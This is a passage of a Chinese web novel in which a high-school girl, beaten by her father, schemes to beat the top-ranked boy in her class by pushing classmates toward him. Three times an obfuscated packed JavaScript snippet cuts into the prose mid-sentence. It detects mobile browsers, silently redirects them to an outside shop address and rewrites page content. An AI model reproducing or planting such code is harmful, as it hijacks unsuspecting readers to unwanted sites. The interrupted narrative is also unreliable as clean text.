《酒心月亮》 1. 1% 八月底的夏天,风也吹不走的闷热。 傍晚时,凉风终于吹拂过来,空气中的热浪挥散不少。 葛飞灵和徐柔站在天桥有一会儿了。 徐柔目不转睛地盯着一个方向,还扯她去瞧,葛飞灵没兴趣,只问:“带烟了么?” “……喲,”徐柔罕见地侧头揶揄,“都是升进实验班的好学生了,怎么抽起烟来?” “你作业有一半是我做的。”葛飞灵淡淡说。 行吧。 不就几根烟,徐柔说:“我给还不行么。” 徐柔从口袋掏出一包七喜和打火机,递过去的时候,不经意间瞥见她手腕的淤青。 葛飞灵似乎察觉到她目光的停留,接了烟,白皙的手臂很快收回。 徐柔晃了晃眼,选择不开口,视线不由打量了陪伴自己四年的面孔。 说实话,徐柔一直觉得葛飞灵是段位很高的表里不一。 肤白貌美,长发简单地用橡皮筋束在脑后,脸上脂粉未施,直挺的鼻,眉眼如画,明明抽烟姿势娴熟,橘红的烟头和她的侧脸放在一起却更显得她与众不同的纯净。 纯得具有迷惑性的,直男斩。 大概就是那种男人看到她抽烟会认为是别人逼她抽的错觉,实际她坏得出水儿了。 徐柔已经不记得多少任男朋友被她无形勾去魂了。妈的婊/子。 她暗地里瞧不起这个道貌岸然的邻居,但为了一点小利还是继续与葛飞灵厮混。 葛飞灵是毋容置疑的学霸,徐柔则是为了抄作业能出卖灵魂的学渣。 “恭喜你啊,高三终于如愿升进实验班了,高二一年保持级前二十很难吧。”徐柔语气酸溜溜,自己还落在差班,总归有些不爽。 葛飞灵一下子能听出她的嫉妒。 “你没得酸,我在背单词的时候你不是跟隔壁的职高生挺浪么?” 徐柔狡辩:“说得你多努力似的,你不还是天天兼职,钻钱缝儿去了。你不就仗着会考试。” “我不兼职没钱吃饭。” 葛飞灵深吸一口烟,慢慢呼出,夕阳余晖落下来,伴着烟雾,她美得让人心疼。 徐柔赶紧甩走那一瞬的念头,葛飞灵要是可怜,她的那些垃圾前任难不成是被迫玩弄感情。 都是渣,渣男渣女。 徐柔不跟她聊了,重新将目光放在下面的便利店。 快出来快出来。徐柔迫不及待,她刚看见一个同校的帅哥,隔着这么远都能把自己惊艳到了。 她怎么不记得满是书呆子的一中还有这种神仙人物。 会不会是自己看错校服了……? 葛飞灵夹着烟,视线不由跟徐柔落在同一处。 “出来了出来了!”徐柔眼眸一紧,不自觉喊出声。 夏风好似慢下来。 男生高瘦,单手抱着零食袋,校服微微起了一个角。 葛飞灵的目光稍一闪烁。 他很好看,足以能把身边所有人比下去的好看。 而且身上有股干净剔透的气质。 即使像她这么对外表挑剔到极致的人,也无法否认男生天生优越的长相。 葛飞灵随即挪开视线,她大概猜到那男生绝非贫穷家庭出身。 “靠,我好爱这款,现任和他一比,简直是条狗。”徐柔的心思蠢蠢欲动。 葛飞灵:“谁放假还穿校服,假正经。” “你会不会说话啊?没准他家跟你一样穷,就喜欢穿校服,你就一天不穿有什么资格瞧不起人家。” 徐柔冷嘲热讽,就不待见同伴打击她的新晋男神。 葛飞灵不跟她吵,费口舌。 男生走到马路另一边的公园入口,蹲下身,零食袋子落入草地,一只橘猫冒出来,拱到他的掌心。 徐柔不放过一刻关注他的机会:“好有爱心的男生,喂流浪猫的人应该很温柔善良吧,应该不忍心拒绝女孩子吧。” 没过几秒,徐柔又推一下她,“哎你说,我去要他的微信成功率肯定会不会很高?” “你要听实话吗?” 徐柔毫不犹豫地点头。 “成功率为零,”徐柔刚要怒瞪,葛飞灵分析,“他的家境应该不错,这种男生很谨慎,不会轻易交女朋友的;即使如你所说,他家境贫寒,那你更没机会了,因为凤凰男更现实,你不是白富美他根本看不上你。” 可能说得太直接了,徐柔怼她:“你才现实好不好,恶意揣测别人,果然越缺什么就越在意什么。” 葛飞灵蓦地掐灭烟头,“你不也一样,越在意外表越看不惯我。” “……我可没你内心阴暗!臭婊子,活该被你爸妈当成赔钱货!” 每次都是这样。 葛飞灵压着气,不想再呆下去。 这个唯一的塑料朋友,总是毫不吝啬地辱骂她。 听的次数多了,未免相看两厌。 葛飞灵临走前也没忘回击:“那男的估计喜欢救风尘,你不如去做妓,兴许还有点可能。” “你妈的……” 徐柔在身后朝她破口大骂。 葛飞灵不受影响,当对方的话是空气。将烟扔进垃圾桶,继续走下去。 * 高三开学第一天,葛飞灵去办公室找新的班主任。 “你就是普通班升上来的葛飞灵?”昊磷提了提眼镜,颇为欣赏地打量她。 可是又掺着一丝很轻的歧视。 葛飞灵顿了顿,点头说是。 “行,李老师跟我说过了,待会儿第一节课是我的课,我带你去新班级,顺便做个自我介绍。” 葛飞灵稍微低头,拒绝了:“老师,不用了,我胆子比较小,在讲台上跟哑巴似的。” “没这么夸张吧。”昊磷明显不信,觉得她夸大事实。 “对不起,老师,我真的做不到。” 面前的女生忽地抬眸,一双形状精致的眼睛不知何时蓄满了晶莹的泪珠,我见犹怜。 昊磷不免手忙脚乱,“好好的漂亮小姑娘怎么说哭就哭了,唉,老师没有逼你的意思……” 说着说着女生的眼泪却掉得更凶。 昊磷实在没法了,怕周围同事以为他欺负女学生,赶紧说:“行了行了,老师也不是不讲理的人,随你吧。” “谢谢老师。” 女生的情绪倒是收得快,从善如流地开始擦眼泪。 昊磷:“?” 他可真是看不懂了。 葛飞灵微微低着下颌,擦掉挤出来的泪水,将班主任的一举一动看在眼内。 既然目的已经达到,她并不在意新任班主任的狐疑和看法。 八分钟后,早读的第一道铃声打响。 朗读声缓缓蔓延开来。 昊磷拿着座位表带葛飞灵去二楼。 理科唯一一个实验班,八班,特地安排在二楼,不符合数字的排列顺序,但是能看出学校对优质生源的呵护,连爬楼梯也不舍得尖子生累着了。 二楼楼梯口正对着的就是八班后门,不时有其他班的走读生背着书包经过。 昊磷让她先在走廊外等一会儿,“我先看看早读情况。” 葛飞灵乖顺地点点头。 班主任背着双手透过贴膜的窗户观察,她干脆站在护栏边瞭望绿化做得极好的校园。 这是二楼的视角,她以前在十九班从未如此近距离接触生机勃勃的乔木。 当然也和她一直呆在教室做题分不开,只是站在五楼的时候,她没心情欣赏走廊外的风景。 昊磷还叫了个戴半框眼镜的男生出来,一边和他交谈,一边往她这边指了指。 葛飞灵欣赏完绿景,和男生的视线对上。 “她是刚转过来的葛飞灵,以前是普通班的,我会把她安排在你前面的座位,你有空多照看新同学,帮助她融入新环境。” 卓星宇怔愣着,似乎没听进去。 “班长,你在听吗?”昊磷不满地唤他。 卓星宇回过神,忙不迭点头应道:“在听的。” 他十分不好意思,第一次盯着女孩子盯到失神,有些丢脸。 不过新的转班生有种脱俗的漂亮,他还是第一次见到学生时代纯素颜就这么美的女生。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233418|197627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而葛飞灵没有过多停留在他身上,只是觉得那位书呆子印证了某句真理。 人丑确实该多读书,不然没优点可夸。 在昊磷推开那扇门之前,葛飞灵已经做好孤独地度过高三最后一年的准备。 从平均成绩最差的班升上来,原先的普通班会嘲她“飞黄腾达”看不起差生,新的班级也未必会高看她一眼。 “这是转过来的新同学,葛飞灵,”昊磷领着她进来,打断教室内的早读,“以后就是我们实验班的四十三分之一了。” 葛飞灵礼貌地微微笑。 实际心里在想,女孩子还好,男生则全占了劣势,全部长得歪瓜裂枣。 有点倒胃口。 与她心中所想相反的是,实验班对这位新同学,脑海里只剩“惊艳”两个大字。 学霸们两眼不闻窗外事,相信书中自有颜如玉,但碰上真正的美人时,还是忍不住看愣了眼。 “景浣,你别捡笔了,快瞧一下新同学。”卓星宇戳戳同桌,也不知怎地,生怕他错过直击美貌的机会。 “稍等,我还差一支。” 弯腰捡笔的男生依旧没露出上半身。 葛飞灵照着昊磷安排的座位表,抱着新发的书,走到那位班长前面的位置,准备放下书。 朗读声重新回响在教室。 “哎你怎么还没捡完……”很轻的抱怨淹没在逐渐壮大的人声中,葛飞灵抬眸望了望。 只能看见一个裹着校服的宽阔后背。 原来还有个学霸没抬头。 不过她十有八九猜到标准结局,也就收回目光,将一部分书先塞进抽屉。 “捡完啦。” 后桌又传来一句回应的男声。 葛飞灵觉得耳朵有些痒,入耳的嗓音意外的余音饶梁。 “是不是很漂亮?”卓星宇迫不及待地“邀功”,怕人听见还压低声音。 “嗯。” 后面两人的对话没逃过葛飞灵的听力。 那个男生抬起头的时候,她正好碰上他扫来的目光。 对方看她的时间很短,大概一秒,比她停滞的目光更快收回去。 是那天徐柔盯个不停、去公园喂猫的男生。 最初的微讶褪去之后,葛飞灵坐下座位,继续整理桌面。 持续半小时的早读很快结束,然后迎来第一个课间休息,再然后是实验班往深里扩展的课程。 上到第四节数学课,葛飞灵才见到身后那个男生起身,被老师点名上黑板做题。 他下来的时候,视线所及之处依然不沾停超过一秒。 换而言之,他对她就像班上相处已久的同学一般。 这个班的学霸们对她的第一次注视,基本超过五秒,只有这个男生例外。 很神奇的人。 在适应了一周的实验班生活后,某次课间,葛飞灵偶然听到相对活泼的前桌聊学习以外的八卦。 “我发现班上只要是女的都暗恋景浣。” “不一定吧,我对他就是纯洁的同学之情。” 男声问:“如果你有机会嫁景浣,嫁吗?” 女声不假思索地:“嫁!” “哈哈脸疼么。” “虽然我没到暗恋他的程度,但不妨碍我觉得他是好夫婿啊,说真的,我没见过比他更完美的人了。” 男声藏了几分不屑,“你想嫁也得嫁得到啊,记得学校外的商业区最高的大厦么?” “怎么了?” “那是景浣的父母开的公司。” “……” 男声却依依不饶:“你想嫁也不照照镜子瞧自己长什么样,再说景浣条件这么好,怎么会高中就轻易被人套牢。” “呃,我没想那么深。” “不过你要是想追的话,我知道他家的地址。” “??”女声显然不能理解,“我干嘛要知道人家的地址?” 男声笑而不语。 葛飞灵的笔尖停顿下来。她记起徐柔讽刺自己现实的话。 殊不知,象牙塔中的男生远比她想象得更现实。 2. 2% 很快开学一个月过去,月考如约而至。实验班的师资和氛围确实非同一般,葛飞灵每一天都能感觉自己收获良多。 她以前在普通班学到天昏地暗也只能考到级前二十名,已经是极限,无法再前进一步。 而且她呆在差班疯狂地学习,会被同班同学鄙夷为神经病。 他们大多像徐柔一样,是花了几倍的学费塞进一中的择校生,不愁未来的发展,所以不懂她拼命学的缘由。 其实徐柔也问过她原因。 “等等,你要是这么在意成绩的话,为什么高一不在实验班,高二才开始奋斗?” 当时她没回答。 谈不上隐瞒,只是她固执地认为,如果心愿一旦说出口,就不灵验了。 第一轮月考结束,葛飞灵拿到年级第二的成绩单,心怀忐忑又期待地回到家。 “爸,我回来了。”她用钥匙打开门。 回应她的是一室昏暗。 大概晚上十点,爸妈和弟弟才满面笑容地回来。 “怎么不开灯?坐在这儿吓谁呢?”葛宏康呵斥死气沉沉的女儿。 明明上一秒他还挂着慈祥的笑。 葛岭笑嘻嘻地看着,拉住正要帮劝的母亲。 葛飞灵收敛情绪,努力扬起一个笑,“爸,我这次考了级第二。” “哦,还行吧。”葛宏康掀起眼皮瞧去一眼,语气敷衍。 葛飞灵正准备告诉他自己升进实验班了,藏了一个月的秘密得匹配相应的成绩,家人只看结果不看过程的尿性她深知。 “爸,我这学期升……” 弟弟马上打断她的话,“对了爸,我这周小测进步了!老师夸我中考肯定能考上五中。” “哦是吗,好儿子,快给爸爸看看!”葛宏康闻言眉开眼笑,甚至跟着儿子一起进卧室。 葛飞灵捏着成绩单,压在喉咙里、组织了许久的内容一句也讲不出来。 桂美娣心疼地抚了抚女儿的肩膀,轻声说:“飞灵,你也知道你爸的性格的,他就这样,别往心里去。” “……嗯。”她抿唇应了声。 然后把成绩单撕碎,揉成一团,扔到垃圾桶。 他们也不曾关心过一句,自己吃饭了没有。 第二个月,葛飞灵愈发努力。 结果仍是相差无几。 原来级第二是她能拿到的最好成绩。 “爸,这次……”葛飞灵想跟他说,虽然这次还是第二,但是离第一名的分数又接近了十几分。 她在进步,力所能及地进步。 爸却狠狠地给了她一记耳光,发怒:“阿岭说你偷了他的零花钱,他才多小,我一个月给你两百还不够花么,你有这么缺钱吗啊?” 不仅是脸被打耳光,手和腿也被藤条不分青红皂白地狠抽。 “……” 葛飞灵抬头,直着腰板不动,大概率猜到又是葛岭恶人先告状。 她很怕痛,可也只能受着,不能躲,躲会招来更变本加厉的打骂。 “对,就是不够,你给初中生一个月六百,给高中生两百,我连吃饭都吃不饱。” 她忍着泪说:“是葛岭自己花光了零用钱,问我讨兼职的钱,我不给他就跟你说坏话……” “你还狡辩是吧?”葛宏康毫不留情地将藤条甩到女儿如花似玉的脸颊,“从小到大一直是你撒谎,阿岭哪里像你心思这么多,你一狐媚子整天惦记着自己那张脸,偷钱也是为了买化妆品吧,我真后悔把你生出来!” 粗粝的藤条挥到身上,葛飞灵的余光扫到看戏的弟弟和胆小的母亲,她蓦地笑了,“你生得出来吗?” 葛宏康怒不可竭,戳着她的鼻梁朝妻子质问:“你看看她那个样子,哪里像正经家庭教出来的女儿?!” 葛飞灵顶着满身伤痕,继续讽刺:“懦夫永远不敢承认自己的错误。” “什么懦夫,我看你是嫌打得不够!” 他干脆抄上鸡毛掸子,对准那张过分漂亮的脸蛋使劲地破坏。 * 周五的深夜,徐柔接到葛飞灵的电话。 “上次的药膏挺管用的,还有么?我在天桥等你。” “妈的麻烦精,我刚躺下……”徐柔一边骂骂咧咧,一边不情不愿地换衣服。 所幸天桥离小区也不远,徐柔慢吞吞地赶到老地方。 还没上去,就见到葛飞灵在上面抽烟,周身萦绕了一片烟雾。 “大半夜的,扰人清梦。你爸是老烟鬼,你的烟瘾也不小啊。”徐柔没好气地递过清凉止痛的药膏。 “谢了,下次教你做题。” 葛飞灵掐灭烟,浓烟散去,徐柔清晰地瞧见她脸上和手上的鞭痕。 “别,帮我做作业就行了。”徐柔仔细地端详了她一会儿,开始幸灾乐祸,“又被你家老子打了吧,活该,你明知道他偏心,不夹起尾巴做人干嘛还老惹他生气?” 葛飞灵挤出一点药膏,指腹缓缓涂到脸上的伤口,“事不过三。” 心愿还有一次机会能灵验。 “?”徐柔难以理解,“你脑子被打瓦特了?他从小打你的次数比我泡的仔还多啊葛飞灵。” 葛飞灵心平气和地:“我打算考级第一。” 这样他总可以夸她一次吧。 “……等一下,我怎么记得,我们这届的级第一常年被一个叫什么景的霸占着,你想考赢他?” 葛飞灵比她更清楚这个事实,点了头。 “有句话怎么说来着,比你牛逼的人还比你更努力,”徐柔对她没什么信心,“那景估计就是了,我觉得你机会不大。” 葛飞灵回忆了几秒景浣平常的学习状态。 “他不算特别勤奋。” “行吧,随你。”根据长相和成绩成反比的定律,这景绝对是个丑逼。 徐柔对帅哥以外的男生没啥兴趣,懒得再聊,掏出手机看男朋友给她发的消息。 没多久。 “操,”徐柔险些把手机摔了,“这什么傻逼啊,说最近因为谈恋爱,成绩下滑很严重,跟我说分手???” 葛飞灵的动作停了一秒。 说者无意,听者有心。 徐柔又骂了几句脏话,“可去他妈的吧,一职中的跟我说成绩,无几把语,出轨也不编个靠谱的理由,真把我当傻子耍呢。” “对方可能真有这意思,”葛飞灵涂完右脸,“毕竟你也不是第一次信这种鬼话了,就像你信前几任说我是小三勾引他。” 徐柔:“……” “有事吗你,他们是渣男,你就无辜了?你们狗咬狗还差不多。” 越说越来气,徐柔正想再谴责那些垃圾前任,葛飞灵忽然来了一句:“旧的不去新的不来。” “哈?” 葛飞灵直视她,涂抹左脸的指腹挪动得分外克制,生怕牵动伤口。 “你之前看上的喂猫男生,要到微信号了么?” 徐柔悻悻然,“别提了,男神狠心婉拒了我,说不加陌生人微信。” “如果是同学呢?” 徐柔霎时抬头,“什么意思?” 葛飞灵将全部伤口涂过一遍,合上药膏盖子,她开口:“年级第一叫景浣,跟我同班,也是那天喂猫的男生。” 我靠。 “啊!!!!” 徐柔兴奋地不能自控,抓着她的肩膀尖叫。 放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233419|197627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平时葛飞灵肯定会推开,她不喜欢和别人有肢体接触,包括同性。 但这一次她耐心忍到对方发完疯。 “他竟然真的是一中的,还离我这么近,怎么办怎么办,我居然能柳暗花明又什么村,啊啊我能拥有男神的微信吗?” 说完,徐柔发光的眼睛紧盯她,“飞灵,你会帮我的对吧。” 葛飞灵嘴角微扬,“如果你有把握分散他的注意力,月考拉他下马,我当然会帮你。” “行啊行啊,我经验丰富!”徐柔激动地保证,而后发现不对,“等等你刚才说拉他下来?操原来你是为了考第一。” “他拿了这么多回第一,换我拿一次又如何?”葛飞灵不觉得有问题。 “……好像也有道理。”徐柔被她的逻辑折服了。 “下周一开始,你每天去八班教室缠他,追到手了我包你半年的作业。” “成交!不过你跟他熟不熟啊?” 除了第一个月坐他前面,第二个月她被调到了后面的位置,离他相隔三个座位,她当时专注于学业,很少注意他。 葛飞灵回想完毕,说:“不熟。” “太好了,说明男神不是重外表的人,我要定他了。啊,第一次喜欢上一个学霸。” 葛飞灵没反驳。 塑料朋友倒是一针见血地看透了她刚转班的疑惑。 确实,景浣对她反应平常,归根到底是因为他对美貌的免疫力比较高。 同样,他的难追程度也比一般男生要高。 扩展而来的这一点她没告诉徐柔。 陷入久违的粉红少女心的徐柔,不停地幻想自己成功得手、抱得男神归的幸福画面。 * 新的一周开始,葛飞灵分了一点心思来研究景浣。 徐柔是十足的行动派,星期一刚升完国旗,她就顺道拐到八班门口,叫人喊景浣。 班内好动的男生小小地起哄,“景浣,外面有美女找哦。” “来了来了,又来了。” “唉,都高三了,景浣已经减少抛头露面的次数了,居然还有人不死心……” 听着班内的讨论声,葛飞灵撕了张便利贴,不动声色地抬眸,观察记录景浣的一举一动。 1.面对起哄,他没有很局促,显然习以为常。 2.见到长相不错的女孩,他一如既往地目不斜视。 3.走到门口,和徐柔保持了一米左右的距离。 4.徐柔激动地告白,他坦然自若。 5.他更多地做一个倾听者的角色,告白结束他才说婉拒的话。 6.徐柔不把他的拒绝当回事儿,纠缠讨要联系方式。 7.他的态度依旧礼貌,但若有似无地拉开距离,打算离开。 8.在徐柔再一次的哀求中,他果断地走了。 总结:徐柔大方的喜爱之情并不能打动他。 遇到死缠烂打的女生,他直接放置处理。 即使是同学,他也不怎么给机会。 葛飞灵速记完,将便利贴贴在学校奖励的笔记本上,夹好。 第一回徐柔错误的示范,明确地告诉她,贸然告白这条路行不通。 她得找时间先和他混熟,成为朋友再说。 再之,其实她并没有抱着徐柔可以成功的念头。 徐柔道行不够,只能骗到和她同类型的男孩,骗不到景浣这种见多识广的。 是她想抢第一,不是徐柔想抢。 所以假如徐柔没有存着必胜的野心,未必能做到全力以赴、不达目的不罢休。 葛飞灵打算亲自上阵。 做好功课,把人吃透,再踩着徐柔上位。 3. 3% 结果是徐柔并不好踩。 “唉,我已经连续五天堵在八班门口了,可是男神除了第一天就没再理过我……” 嘈杂的学生食堂,徐柔挑挑拣拣地扒着饭,哀怨道。 葛飞灵坐她旁边,一边吃饭一边看错题本,暂时没搭理。 这几天景浣的表现她也看到了。 早上徐柔甚至豁出去脸,径直走进实验班教室,来到景浣的桌前。 “你为什么不肯出去,出去一下会死嘛?” 这样的操作加快了徐柔出局的速度,也让葛飞灵对景浣的理解更深一些。 当时稍显喧闹的教室顿静,景浣正在教班长一道生物题,被中途打断,他没有生气,只是抬眸望了望黑板旁的时钟,说:“还剩两分钟就要上课了,你是想留在这里跟我们一起上课?” 厚脸皮的徐柔,唰地一下变了脸色。 然后落荒而逃。 葛飞灵假装出去装水,站在合适的观察位置,瞧得一清二楚。 他推脱女孩有一万种方法,还懂得利用人性的缺点打压。 尽管徐柔不在意差班的身份,但在喜欢的男生面前,被这样提醒你我是两个班的人,饶是徐柔心再大,也受不住。 葛飞灵回座位,拿出笔记本,贴上一张小的便利贴: 徐柔愈发没有优势。 得赶快找下一块垫脚石。 “这几天你先别找景浣了,追太紧会让人厌烦。”葛飞灵背完一条错题,回复徐柔。 徐柔沮丧地“啊”了一声,“可是我想每天都看见他。” “那你在教室外偷偷看,说不定还能落个痴情种的名声。” “……管用么?男神能注意到我么?” 葛飞灵收好错题本,迅速解决掉午饭,默算了一遍卡里剩余的饭钱。 她有些心不在焉,“他已经对你印象非常深刻,如果你想让他印象深刻到躲你的话,可以继续烦下去。” “不就是让我别烦他嘛,行吧。”徐柔垂着脑袋。 不一会儿,她献宝似地拿出手机:“对了我特地找人去问男神的资料,你瞅瞅有没有用。” 屏幕上划过去好几张聊天记录截图,几乎全是外人道听途说的八卦,说景浣从一入学就开始有女孩追,两年来,追他的女孩几百号,上到高三学姐,下到高一学妹。 说截止到目前高三,景浣依旧没接受过任何一个女生,走得近的只有同班女同学。 徐柔的狐朋狗友还劝道,如果看上的是实验班的景浣,去泡教导主任也比泡他简单。 葛飞灵匆匆浏览完,对上徐柔亮晶晶的眼神,她说:“你的朋友说得有道理。” “?”徐柔双眉不满地紧皱,“不是,你不应该得到更有用的信息,然后告诉我下一步该怎么做吗?” “我已经说过了,你先别去找他,过几天再说。”葛飞灵考量之后还是补充了,“我试试帮你要微信号。” 徐柔立刻重绽笑颜:“你说的啊,不许反悔。” “嗯。” 葛飞灵正要起身端餐盘,她转念又开口:“能不能先借我一百,我兼职日结了还你。” “没问题啊。”徐柔心情不错,爽快地答应。 回宿舍后马上给了她一百现金。 葛飞灵说谢谢,望着与平时判若两人的邻居。 这是荷尔蒙的威力么? 如果是一个月前,徐柔指不定损她几句才勉为其难地施舍。 * 下午三节课结束后,葛飞灵等班内的人走了一半,景浣也离开后,她过去找班长卓星宇。 “班长,你可以帮我一个忙么?” 卓星宇写着今晚的学习计划,忽然被一道轻柔的女声打断,他惊愕地抬起头。 还真是她。 “什、什么事?”只跟他打过几次招呼的新同学,竟然第一次主动找他,卓星宇紧张到口吃。 葛飞灵细细审视他,说:“我们班应该有群聊吧,我想加,为了更好地融入班级。” “哦有的有的,你等一下。” 卓星宇习惯性掏裤兜,发现自己手机在宿舍。 “不好意思,我没带手机来教室,要不晚修我再给你?” 葛飞灵不急,点头同意。 就在卓星宇白高兴一场,以为她要走的时候,葛飞灵像是记起什么,又拜托他:“班长,可以再帮我一个忙吗?” “你尽管说,不用这么客气的。”卓星宇一瞬不瞬地看着她。 “我想借景浣同学第二次月考的答卷看看,”不等班长提问,她先行解释,“其实我是个很慢热的人,进班里两个月了,但是最熟的只有班长你,所以我不敢当面问他拿,你能以你的名义帮我问景浣借一下吗?” “其实……”大家都很好相处的,景浣也是。 卓星宇虽然心里这么想,但嘴上仍是毫不犹豫地答应帮忙。 或许是她太害羞了。他不免将葛飞灵内心的腼腆以及对他的信任都脑补了一遍。 “谢谢班长你了,我先回宿舍。”葛飞灵见目的达到,不再多说废话,直接告别。 卓星宇念念不舍地目送对方离开教室。 六点零五分,景浣刚回到教室,同桌迫不及待地叫他。 “怎么了?” 景浣坐下座位,卓星宇马上说:“你月考的答卷在哪儿?借我用一下。” “第一次还是第二次的?”景浣不疑有他,一边问详细范围,一边不紧不慢地从桌洞抽出保存试卷的文件夹。 “应该是第二次月考…”糟了,卓星宇忽然不太确定。 唉,都怪他当时净看脸了。 景浣翻开文件夹的动作一顿,但脸上的表情管理极强,即使大概猜到同桌受人所托,他也没表现出不耐烦。 他没再翻试卷,用轻松的语气调侃:“班长,真是你本人想借吗?” “是……”卓星宇不擅长撒谎,躲避着他的目光。 “如果是帮外班的女生追我,我不能借。”景浣直截了当。 “不是,你误会了是葛飞……”卓星宇说到一半才记起对女生的承诺,顿时失了声。 景浣眉毛微扬,他倒是没预料是这个新转来、两个月也没跟他说过一句话的女生。 “她为什么不自己来借?”他好奇地问。 卓星宇有些懊恼,既然都暴露了,他干脆全盘托出,将她说过的话一一转述。 “原来是这样。”听完,景浣表示明白。 卓星宇小心翼翼地问:“那你还借吗?” 景浣继续翻动试卷,将两套的月考答卷都抽出来,说:“借,这位新同学似乎不太喜欢我,我要是不借,估计要记恨我了。” “??”卓星宇不懂同桌为什么何出此言,“你性格这么好,怎么会。” “她跟你们都打过招呼了吧,但她碰到我从来不打招呼,好像有点记仇。”景浣不由莞尔。 “是吗……” 卓星宇仔细沉下心回想,发现确实这样,之前她坐他们前面的时候,似乎只跟他说过话,闻名远扬的同桌却完全被她忽视一般。 但是他不敢暴露自己一天到晚视奸新同学的事,就含糊过去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233420|197627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “应该不是记仇,可能她比较害羞,而你又太帅了。” 景浣忍俊不禁,说:“是吗,我自己去问问。” “?!”卓星宇一时分不清自己是惊恐还是在痛哭错失接近葛飞灵的机会,“你要亲自去给她试卷吗?” “嗯。”景浣边应,边叠整齐答卷。 “…好,好吧。”卓星宇也没办法,毕竟人家借试卷的对象不是他……只能祈祷对方不会怪罪他成事不足败事有余。 六点十五分,葛飞灵从教室后门走进来。 她如平常回到自己的座位,刚记起交代过班长的事,正主却起身径直走到她桌前。 “星宇说记不清你要借哪一次月考,所以我两套都拿来了,下次想借试卷光明正大问我借就行啦。” 景浣将两套整洁的答卷放到她的桌面,眼眸沉淀着笑意,友好地说明来意。 他垂手递过答卷时,她似乎闻到了他身上沐浴过的清香。 “……”葛飞灵沉默了一阵,然后没讲什么,颔首道谢。 “不要太拘束,实验班跟你原来的班一样,大家不会对你另眼相待的。” 对方自带天然的亲和力,冲她笑的时候魅力值达到鼎盛。 葛飞灵并没有遐想过多,敏感地察觉到景浣这类举动只是性格表现的其中一种。 今天换了其他人坐在这个位置,估计也是这样。 坐着的女生一动不动的,但视线也没闪躲他,脸色与其说平静不如说是冷漠。 她依然对他惜字如金。 “我发现你不止是害羞。”景浣笑笑,也没介意,说完就回座位了。 所以,这人是过来展示社交能力的么? 不过倒是有意外收获。 刚才景浣过来,她注意到两个女生投来的灼热视线。 一个是坐在她右上方的毛巧贞,和她同宿舍,相貌姣好成绩排第三,但性子略傲。 另一个则是她的同桌柴佳,沉默寡言,留着过长的刘海,比她还自闭。 这下两块垫脚石都有着落了。 除了情感方面,学习方面当然也不能松懈。 两手一起抓最好。 她需要清晰知道自己每一科哪里弱于景浣。 所以才借来他的月考答卷。 葛飞灵把桌上的答卷挪正方向,开始翻阅级第一的答卷。 第一张是理综答卷。 红黑的笔迹交织,书面如同教科书般的整洁干净,就连红笔批注也很简短。 他的错字没用涂改液,划一横继续写的那种。 字迹略微潦草,不过依旧能看出笔者练过的痕迹。 理综考试时间相对来说较短,他写得快潦草很正常。 葛飞灵先对第二次的月考答案,从书缝底下抽出自己的试卷,对着一条条题目答案的差异。 化学和生物他选择全对,大题分别只错了一道,其实说不上错,他扣分的两个填空根本没写答案。 物理则错了一道多选题,错误原因是漏选。 紧接着是物理大题,最后两道大题只写了公式和解题步骤,并没有算出答案,因此扣掉两分。 …… 葛飞灵将他的答卷研究完毕以后,揉了揉用眼过度的眼睛。 不是她不够努力,是对方太强。 她自己的答卷,每一个空、每一道大题写得满满当当,虽然并不是全对。反而是他,空着的地方没写被扣分,但是写了的地方基本全对,甚至没跳难题设的细节坑。 在考试上这等心思缜密的人,某种意义上来讲,非常恐怖。 4. 4% 对试卷的过程,葛飞灵差点习惯性将知识点写到景浣的答卷上,还好及时停下了。 脑海恰好冒出两个方案。 葛飞灵先在错题本查漏补缺,然后翻开简陋的笔记本。 记录:理科题目无错,只有没作答的扣分。 说明他是一个事事胸有成竹的人,没有百分百的把握不会写下答案,不会心存撞对的侥幸心理。 他很自信。 葛飞灵叠整齐卷子,撕下一张便利贴,换铅笔写下一句话。 她贴到同桌的左半侧桌沿。 【你喜欢景浣对不对?我可以帮你追他。】 柴佳看见那张便条,一瞬脊梁僵硬。 葛飞灵又送过来第二张:【再不追,他就要被抢走了哦。】 性子安静的同桌顿时朝她看来,动作幅度很大。 柴佳稍后才发现自己没藏住心思,躲在刘海后的眸子万分警惕。 葛飞灵耐心地等。 终于,同桌的手指碰到桌面的便利贴,回复芝麻大的小字: 【难道你不喜欢他么?】 这个问题很有深意。葛飞灵垂下眼帘,一笔一划地写:【不是所有人都会爱上他的,望你知。】 柴佳久久没回应,自习的教室里钟表的秒针无声地转圈。 葛飞灵见状并没有紧紧相逼,而是先做作业,一边做题一边等答复。 临近第一节晚修铃声响起,柴佳默默传过来便利贴。 【我不想霸占他,只想离他再近一点,一点点就够了。】 